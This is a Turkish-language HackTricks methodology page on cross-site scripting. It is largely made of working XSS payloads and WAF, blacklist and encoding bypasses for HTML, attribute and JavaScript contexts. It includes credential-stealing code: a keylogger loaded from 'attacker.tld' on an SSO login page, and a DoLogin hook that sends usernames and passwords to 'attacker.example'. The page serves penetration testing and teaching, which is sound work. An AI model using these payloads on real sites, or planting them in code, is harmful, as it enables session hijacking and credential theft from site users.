XSS (Cross Site Scripting)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Metodoloji

  1. Kontrol edin: kontrolünüzdeki herhangi bir değer (parameters, path, headers?, cookies?) HTML içinde yansıtılıyor veya JS kodu tarafından kullanılıyor mu.
  2. Nerede yansıtıldığını/kullanıldığını bulun.
  3. Eğer yansıtılıyorsa
  4. Hangi sembolleri kullanabildiğinizi kontrol edin ve buna göre payload hazırlayın:
  5. Ham HTML içinde:
  6. Yeni HTML tagleri oluşturabiliyor musunuz?
  7. javascript: protokolünü destekleyen eventleri veya attribute’leri kullanabiliyor musunuz?
  8. Koruması olan kontrolleri atlayabiliyor musunuz?
  9. HTML içeriği herhangi bir client side JS engine tarafından yorumlanıyor mu (AngularJS, VueJS, Mavo…) — bu durumda bir Client Side Template Injection suiistimali mümkün olabilir.
  10. Eğer JS çalıştıran HTML tagleri oluşturamıyorsanız, bir Dangling Markup - HTML scriptless injection suiistimal edebilir misiniz?
  11. Bir HTML tag içinde:
  12. Raw HTML bağlamına çıkabiliyor musunuz?
  13. JS çalıştıracak yeni event/attribute’ler oluşturabiliyor musunuz?
  14. Sıkıştığınız attribute JS çalıştırmayı destekliyor mu?
  15. Koruma mekanizmalarını atlayabiliyor musunuz?
  16. JavaScript kodu içinde:
  17. <script> taginden kaçabiliyor musunuz?
  18. String’ten kaçıp farklı JS kodu çalıştırabiliyor musunuz?
  19. Girdiğiniz template literals `` içinde mi?
  20. Koruma mekanizmalarını atlayabiliyor musunuz?
  21. Fonksiyon olarak çalıştırılan Javascript
  22. Çalıştırılacak fonksiyonun adını belirtebilirsiniz. Örnek: ?callback=alert(1)
  23. Eğer kullanılıyorsa:
  24. Bir DOM XSS’i suiistimal edebilirsiniz; girdinizin nasıl kontrol edildiğine ve kontrolünüzdeki input herhangi bir sink tarafından kullanılıp kullanılmadığına dikkat edin.

Karmaşık bir XSS üzerinde çalışırken ilginizi çekebilecek konular:

Debugging Client Side JS

Yansıtılan değerler

Bir XSS’i başarılı şekilde exploit etmek için ilk bulmanız gereken şey, web sayfasında siz tarafından kontrol edilen ve yansıtılan bir değerdir.

  • Ara yansıtılmış (Intermediately reflected): Bir parameterin veya path’in değeri sayfada yansıtılıyorsa, bir Reflected XSS’i suiistimal edebilirsiniz.
  • Stored ve yansıtılmış: Kontrolünüzdeki bir değer sunucuda saklanıyor ve sayfa her erişildiğinde yansıtılıyorsa, bir Stored XSS’i suiistimal edebilirsiniz.
  • JS ile erişiliyor: Kontrolünüzdeki bir değerin JS ile erişildiğini görürseniz, bir DOM XSS’i suiistimal edebilirsiniz.

Bağlamlar

Bir XSS’i suiistimal etmeye çalışırken ilk bilmeniz gereken, girdinizin nerede yansıtıldığıdır. Bağlama bağlı olarak, rastgele JS kodunu farklı yollarla çalıştırabilirsiniz.

Ham HTML

Eğer girdiniz raw HTML içinde yansıtılıyorsa, JS kodu çalıştırmak için bazı HTML taglerini suiistimal etmeniz gerekecek: <img , <iframe , <svg , <script … bunlar kullanabileceğiniz birçok HTML taginden sadece bazılarıdır.
Ayrıca Client Side Template Injection aklınızda bulunsun.

Bir HTML etiketinin attribute değeri içinde

Eğer girdiniz bir tag’in attribute değerinin içinde yansıtılıyorsa deneyebilirsiniz:

  1. Attribute’dan ve tag’den kaçıp (sonra raw HTML bağlamında olursunuz) yeni HTML tagleri oluşturup suiistimal etmek: "><img [...]
  2. Eğer attribute’dan kaçabiliyor ama tag’den kaçamıyorsanız (> encode ediliyor veya siliniyorsa), tag’e bağlı olarak JS kodu çalıştıran bir event oluşturabilirsiniz: " autofocus onfocus=alert(1) x="
  3. Eğer attribute’dan kaçamıyorsanız (" encode ediliyor veya siliniyorsa), hangi attribute içinde yansıtıldığınıza ve değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak suiistimal edebilirsiniz. Örneğin, onclick= gibi bir event’i kontrol ediyorsanız, tıklandığında rastgele kod çalıştırabilirsiniz. Diğer ilginç örnek href attribute’üdür; burada javascript: protokolünü kullanarak kod çalıştırabilirsiniz: href="javascript:alert(1)"
  4. Eğer girdiniz “suiistimal edilemeyen etiketler” içinde yansıtılıyorsa, zafiyeti suiistimal etmek için accesskey hilesini deneyebilirsiniz (bunu kullanmak için biraz social engineering gerekebilir): " accesskey="x" onclick="alert(1)" x="

WAF arkasındaki attribute-only login XSS

Kurumsal bir SSO login sayfası, OAuth service parametresini <a id="forgot_btn" ...> elementinin href attribute’ü içinde yansıtıyordu. < ve > HTML-encode edilmiş olmasına rağmen, çift tırnaklar encode edilmemişti; bu yüzden saldırgan attribute’u kapatıp aynı elementi kullanarak " onfocus="payload" x=" gibi handler’lar enjekte edebildi.

  1. Handler’ı enjekte etme: Basit payload’lar (onclick="print(1)" gibi) engelleniyordu, fakat WAF inline attribute’lerdeki ilk JavaScript ifadesini inceliyordu. Zararsız bir ifadeyi parantez içinde koyup ardından noktalı virgül eklemek gerçek payload’ın çalışmasına izin verdi: onfocus="(history.length);malicious_code_here".
  2. Otomatik tetikleme: Tarayıcılar fragment ile eşleşen id değerine sahip herhangi bir elementi odaklar, bu yüzden exploit URL’sine #forgot_btn eklemek anchor’ın sayfa yüklendiğinde focus olmasını sağlar ve handler’ı tıklama gerektirmeden çalıştırır.
  3. Inline stub’u küçük tutma: Hedef zaten jQuery yüklüyordu. Handler sadece saldırganın sunucusundaki tam keylogger’ı yüklemek için $.getScript(...) ile bir istek başlatacak kadar küçük olmalıydı.

Tırnak kullanmadan string oluşturma

Tek tırnaklar URL-encoded olarak dönüyor ve kaçışlı çift tırnaklar attribute’u bozuyordu, bu yüzden payload her stringi String.fromCharCode ile üretiyordu. Herhangi bir URL’yi attribute’a yapıştırmadan önce char kodlarına çeviren yardımcı bir fonksiyon bunu kolaylaştırır:

function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))

Ortaya çıkan bir öznitelik şöyle görünüyordu:

onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

Bunun neden kimlik bilgilerini çalıyor

Dış betik (saldırgan kontrolündeki bir hosttan veya Burp Collaborator’dan yüklenen) document.onkeypress’i hook’ladı, tuş vuruşlarını tamponladı ve her saniye new Image().src = collaborator_url + keys çalıştırdı. Çünkü XSS sadece oturum açmamış kullanıcılar için tetikleniyor, hassas işlem login formunun kendisidir — saldırgan kullanıcı adları ve parolaları keylog’layarak yakalar, kurban “Login“e hiç basmasa bile.

Angular’ın bir class adını kontrol ediyorsanız XSS çalıştırmasının garip bir örneği:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

JavaScript kodu içinde

Bu durumda girdiniz bir HTML sayfasının <script> [...] </script> etiketleri arasında, bir .js dosyası içinde veya javascript: protokolünü kullanan bir öznitelik içinde yansıtılır:

  • Eğer <script> [...] </script> etiketleri arasında yansıtılıyorsa, girdiniz herhangi bir tür tırnak içinde olsa bile </script> enjekte etmeye ve bu bağlamdan çıkmaya çalışabilirsiniz. Bu, çünkü tarayıcı önce HTML etiketlerini ayrıştırır sonra içeriği; dolayısıyla enjekte ettiğiniz </script> etiketinin HTML kodunun içinde olduğunu fark etmez.
  • Eğer yansıtma bir JS string içinde ise ve önceki hile işe yaramıyorsa, string’den çıkmanız, kodunuzu çalıştırmanız ve JS kodunu yeniden oluşturmanız gerekir (herhangi bir hata olursa, çalıştırılmaz:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Eğer template literals içinde yansıtılıyorsa ${ ... } sözdizimini kullanarak JS ifadeleri yerleştirebilirsiniz: var greetings = `Hello, ${alert(1)}`
  • Unicode encode geçerli javascript kodu yazmak için işe yarar:
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting, fonksiyonları, değişkenleri veya sınıfları kullanıldıkları yerden sonra tanımlama fırsatını ifade eder; böylece bir XSS’in tanımlanmamış değişkenleri veya fonksiyonları kullandığı senaryoları suistimal edebilirsiniz.
Daha fazla bilgi için aşağıdaki sayfayı inceleyin:

JS Hoisting

Javascript Function

Birçok web sayfasında, çalıştırılacak fonksiyonun adını parametre olarak kabul eden endpoints bulunur. Gerçekte sık karşılaşılan bir örnek şuna benzer: ?callback=callbackFunc.

Kullanıcı tarafından doğrudan verilen bir şeyin yürütülmeye çalışılıp çalışılmadığını anlamanın iyi bir yolu, parametre değerini değiştirmektir (örneğin ‘Vulnerable’) ve konsolda şu tür hatalara bakmaktır:

Eğer zafiyet varsa, sadece şu değeri göndererek bir alert tetikleyebilirsiniz: ?callback=alert(1). Ancak, bu endpoints’lerin genellikle içeriği sadece harfler, rakamlar, nokta ve alt çizgiye izin verecek şekilde doğruladıkları çok yaygındır ([\w\._]).

Bununla birlikte, bu kısıtlama olsa bile bazı eylemleri gerçekleştirmek hâlâ mümkündür. Bunun nedeni, geçerli karakterleri kullanarak DOM’daki herhangi bir öğeye erişebilmenizdir:

Bazı yararlı fonksiyonlar için:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Ayrıca Javascript fonksiyonlarını doğrudan tetiklemeyi deneyebilirsiniz: obj.sales.delOrders.

Ancak genellikle belirtilen fonksiyonu çalıştıran endpoint’ler çok ilginç DOM’lara sahip değildir; aynı origin içindeki diğer sayfalar daha fazla işlem yapmak için daha ilginç bir DOMa sahip olacaktır.

Bu nedenle, bu zafiyeti farklı bir DOM’da kötüye kullanmak için Same Origin Method Execution (SOME) istismarı geliştirildi:

SOME - Same Origin Method Execution

DOM

JS code, saldırgan tarafından kontrol edilen bazı verileri güvensiz şekilde kullanıyor olabilir, örneğin location.href. Bir saldırgan bunu kötüye kullanarak istediği JS kodunu çalıştırabilir.

DOM XSS

Universal XSS

Bu tür XSS her yerde bulunabilir. Bunlar sadece bir web uygulamasının istemci tarafındaki istismarına bağlı değildir, herhangi bir contexte bağlı olabilir. Bu tür arbitrary JavaScript execution RCE elde etmek, istemcilerde ve sunucularda arbitrary dosyaları okumak ve daha fazlası için bile kötüye kullanılabilir.
Bazı örnekler:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

Girdiğiniz veri HTML sayfası içinde yansıtılıyorsa veya bu bağlamda kaçıp HTML kodu enjekte edebiliyorsanız, yapmanız gereken ilk şey yeni tag’ler oluşturmak için < karakterini kötüye kullanıp kullanamayacağınızı kontrol etmektir: Sadece bu karakterin yansıtılıp yansıtılmadığını deneyin ve HTML encoded edilip edilmediğini, silinip silinmediğini veya değişmeden yansıtılıp yansıtılmadığını kontrol edin. Sadece son durumda bunu istismar edebilirsiniz.
Bu durumlarda ayrıca Client Side Template Injection’ı aklınızda bulundurun.
Not: Bir HTML yorumu şu şekilde kapatılabilir ****-->****or **--!>****

Bu durumda ve herhangi bir black/whitelisting kullanılmıyorsa, şu tür payload’ları kullanabilirsiniz:

<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Ancak, etiket/atribüt black/whitelisting kullanılıyorsa, hangi etiketleri oluşturabileceğinizi brute-force etmeniz gerekir.
Hangi etiketlerin izinli olduğunu bulduktan sonra, bulunduğunuz geçerli etiketlerin içinde context’e nasıl saldırabileceğinizi görmek için attributes/events’ı brute-force etmeniz gerekir.

Tags/Events brute-force

Git https://portswigger.net/web-security/cross-site-scripting/cheat-sheet ve Copy tags to clipboard öğesine tıkla. Sonra, bunların hepsini Burp intruder kullanarak gönder ve herhangi bir etiketin WAF tarafından zararlı olarak tespit edilip edilmediğini kontrol et. Hangi etiketleri kullanabileceğini keşfettikten sonra, geçerli etiketleri kullanarak tüm events’i brute force edebilirsin (aynı web sayfasında Copy events to clipboard öğesine tıkla ve öncekiyle aynı prosedürü uygula).

Custom tags

Eğer geçerli hiçbir HTML etiketi bulamadıysan, özel bir etiket oluşturmayı deneyebilir ve onfocus attribute ile JS kodu çalıştırabilirsin. XSS isteğinde, sayfanın o obje üzerine focus olmasını ve kodun çalıştırılmasını sağlamak için URL’yi # ile bitirmen gerekir:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Eğer bir çeşit blacklist kullanılıyorsa, bazı basit hilelerle bypass etmeyi deneyebilirsiniz:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > Farklı ortamlar için daha fazla tiny XSS payload can be found here ve here.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

The last one is using 2 unicode characters which expands to 5: telsr
Bu tür daha fazla karakteri burada bulabilirsiniz.
Hangi karakterlere ayrıldığını kontrol etmek için buraya bakın.

Click XSS - Clickjacking

Zafiyeti istismar etmek için kullanıcının önceden doldurulmuş verilerle bir linke veya formu tıklaması gerekiyorsa, sayfa zafiyetliyse abuse Clickjacking deneyebilirsiniz.

Impossible - Dangling Markup

Eğer bir HTML tag oluşturup bir attribute ile JS kodu çalıştırmanın imkansız olduğunu düşünüyorsanız, Danglig Markup sayfasına bakmalısınız çünkü zafiyeti exploit ederek JS kodu çalıştırmadan kullanabilirsiniz.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

Eğer bir HTML tag içinde iseniz, yapabileceğiniz ilk şey tag’tan escape olmaya çalışmak ve JS kodu çalıştırmak için önceki bölüm’de bahsedilen tekniklerden bazılarını kullanmaktır.
Eğer tag’tan kaçamazsanız, JS kodu çalıştırmayı denemek için tag içinde yeni attribute’lar oluşturabilirsiniz; örneğin şu payload gibi (bu örnekte attribute’tan kaçmak için çift tırnak kullanıldığına dikkat edin, inputunuz doğrudan tag içine yansıtılıyorsa bunlara gerek olmayacaktır):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Stil olayları

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Öznitelik içinde

Even if you cannot escape from the attribute (" is being encoded or deleted), depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick= you will be able to make it execute arbitrary code when it’s clicked.
Another interesting example is the attribute href, where you can use the javascript: protocol to execute arbitrary code: href="javascript:alert(1)"

Bypass event içinde HTML encoding/URL encode kullanarak

HTML etiketlerinin öznitelik değerleri içindeki HTML ile kodlanmış karakterler çalışma zamanında çözülür. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (payload koyu yazılmıştır): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Note that any kind of HTML encode is valid:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

URL encode’in de çalışacağını unutmayın:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Unicode encode kullanarak event içinde Bypass

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Öznitelik İçindeki Özel Protokoller

Orada bazı yerlerde javascript: veya data: protokollerini herhangi bir JS kodu çalıştırmak için kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirebilir, bazıları ise gerektirmez.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Bu protokolleri enjekte edebileceğiniz yerler

Genel olarak javascript: protokolü href özniteliğini kabul eden herhangi bir etikette kullanılabilir ve çoğu src özniteliğini kabul eden etiketlerde (ancak <img>’te değil)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Diğer obfuscation hileleri

Bu durumda önceki bölümdeki HTML encoding ve Unicode encoding hilesi de geçerlidir çünkü bir attribute içindesiniz.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Ek olarak, bu durumlar için başka bir güzel hile daha var: javascript:... içindeki girdiniz URL encoded olsa bile, yürütülmeden önce URL decoded edilir. Yani, string’den bir single quote ile escape etmeniz gerekiyorsa ve bunun URL encoded olduğunu görüyorsanız, unutmayın ki önemli değil, yürütme sırasında single quote olarak yorumlanacaktır.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Unutmayın ki eğer her iki yöntemi de URLencode + HTMLencode herhangi bir sırayla kullanarak payload’ı kodlamaya çalışırsanız, bu işe yaramayacak, ancak payload’ın içinde bunları karıştırabilirsiniz.

javascript: ile Hex ve Octal encode kullanımı

En azından iframe’in src özniteliği içinde Hex ve Octal encode kullanarak JS çalıştırmak için HTML etiketleri belirtebilirsiniz:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

Eğer herhangi bir URL’yi, içinde target="_blank" and rel="opener" öznitelikleri bulunan rastgele bir <a href= etiketine enjekte edebiliyorsanız, bu davranışı istismar etmek için aşağıdaki sayfayı kontrol edin:

Reverse Tab Nabbing

on Olay İşleyicileri Bypass

Öncelikle bu sayfayı (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) faydalı “on” event handlers için kontrol edin.
Eğer bazı blacklist’ler bu event handlers’ı oluşturmanızı engelliyorsa, aşağıdaki bypass’ları deneyebilirsiniz:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

From here artık hidden inputs’ı şu şekilde kötüye kullanmak mümkün:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

Ve meta etiketlerinde:

<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Kaynak: here: Bir XSS payload inside a hidden attribute çalıştırabilirsiniz; eğer kurbanı tuş kombinasyonunu basmaya ikna edebilirseniz. Firefox Windows/Linux’ta tuş kombinasyonu ALT+SHIFT+X, OS X’te ise CTRL+ALT+X’tir. access key attribute içinde farklı bir key kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSS payload’ı şu şekilde olabilir: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Bu bölümde farklı encoding’leri kullanmaya yönelik birkaç hile zaten gösterildi. Nerede kullanabileceğinizi öğrenmek için geri gidin:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Önceki bölümün Blacklist Bypasses kısmını okuyun.

Bypasses for JavaScript code

Aşağıdaki bölümün JavaScript bypass blacklist kısmını okuyun.

CSS-Gadgets

Eğer web’in çok küçük bir bölümünde etkileşim gerektiren bir XSS bulduysanız (ör. footer’da onmouseover elementi olan küçük bir link), linkin tetiklenme olasılığını maksimize etmek için o elementin kapladığı alanı değiştirmeyi deneyebilirsiniz.

Örneğin, elemente şu şekilde bazı stil ekleyebilirsiniz: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Ancak eğer WAF style attribute’unu filtreliyorsa, CSS Styling Gadgets kullanabilirsiniz; örneğin eğer şu şekilde bulursanız

.test {display:block; color: blue; width: 100%}

ve

#someid {top: 0; font-family: Tahoma;}

Şimdi linkimizi şu forma getirebilirsiniz:

<a href=“” id=someid class=test onclick=alert() a=“”>

Bu hile şu kaynaktan alınmıştır: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

Bu durumda sizin girdiğiniz veri .js dosyasındaki JS kodu içinde veya <script>...</script> etiketleri arasında ya da JS çalıştırabilen HTML event’leri veya javascript: protokolünü kabul eden attribute’lar arasında yansıtılacaktır.

Escaping <script> tag

Eğer kodunuz <script> [...] var input = 'reflected data' [...] </script> içine yerleştiriliyorsa, kolaylıkla <script> kapanışını escape ederek çıkabilirsiniz:

</script><img src=1 onerror=alert(document.domain)>

Unutmayın ki bu örnekte tek tırnak (single quote) bile kapatılmadı. Bunun nedeni, HTML parsing’in önce tarayıcı tarafından yapılmasıdır, bu işlem sayfa elemanlarını, script blokları dahil, tanımlamayı içerir. Gömülü scriptleri anlamak ve yürütmek için JavaScript’in ayrıştırılması ancak sonrasında gerçekleştirilir.

JS kodu içinde

Eğer <> temizleniyorsa, girdinizin bulunduğu yerde dizgeyi escape ederek yine de keyfi JS çalıştırabilirsiniz. JS sözdizimini düzeltmek önemlidir; çünkü herhangi bir hata varsa, JS kodu çalıştırılmaz:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Kullanıcı girdisi tırnak içine alınmış bir JavaScript string’ine düştüğünde (ör. server-side echo ile inline script içine), string’i sonlandırabilir, kod enjekte edebilir ve sözdizimini onararak ayrıştırmanın geçerli kalmasını sağlayabilirsiniz. Genel iskelet:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Zayıf parametrenin bir JS stringine yansıtıldığı durum için örnek URL deseni:

?param=test";<INJECTION>;a="

This executes attacker JS without needing to touch HTML context (pure JS-in-JS). Combine with blacklist bypasses below when filters block keywords.

Template literals ``

Tek ve çift tırnakların dışında strings oluşturmak için JS ayrıca backticks `` kabul eder. Bu, ${ ... } sözdizimini kullanarak embedded JS expressions yapmaya izin verdiği için template literals olarak bilinir.\ Bu nedenle, girdinizin backticks kullanan bir JS string içinde reflected olduğunu görürseniz, ${ ... } sözdizimini kötüye kullanarak arbitrary JS code çalıştırabilirsiniz:

This can be abused using:

;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Kodun kodlanmış yürütülmesi

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Deliverable payloads ile eval(atob()) ve scope incelikleri

URL’leri daha kısa tutmak ve basit anahtar kelime filtrelerini atlatmak için, gerçek mantığınızı base64-encode edip eval(atob('...')) ile değerlendirebilirsiniz. Basit anahtar kelime filtreleri alert, eval, veya atob gibi tanımlayıcıları engelliyorsa, tarayıcıda aynı şekilde derlenen ancak dize-eşleştirme filtrelerinden kaçan Unicode-escape’li tanımlayıcılar kullanın:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Önemli kapsam nüansı: const/let ile eval() içinde tanımlananlar blok kapsamlıdır ve global değişkenler oluşturmazlar; sonraki script’lerden erişilemezler. Gerekirse (ör. bir form handler’ını ele geçirmek için) global, yeniden atanamaz hooks tanımlamak için dinamik olarak enjekte edilmiş bir <script> elementi kullanın:

var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Referans: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode ile JS yürütmesini kodlama

alert(1)
alert(1)
alert(1)

JavaScript blacklist bypass teknikleri

Strings

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
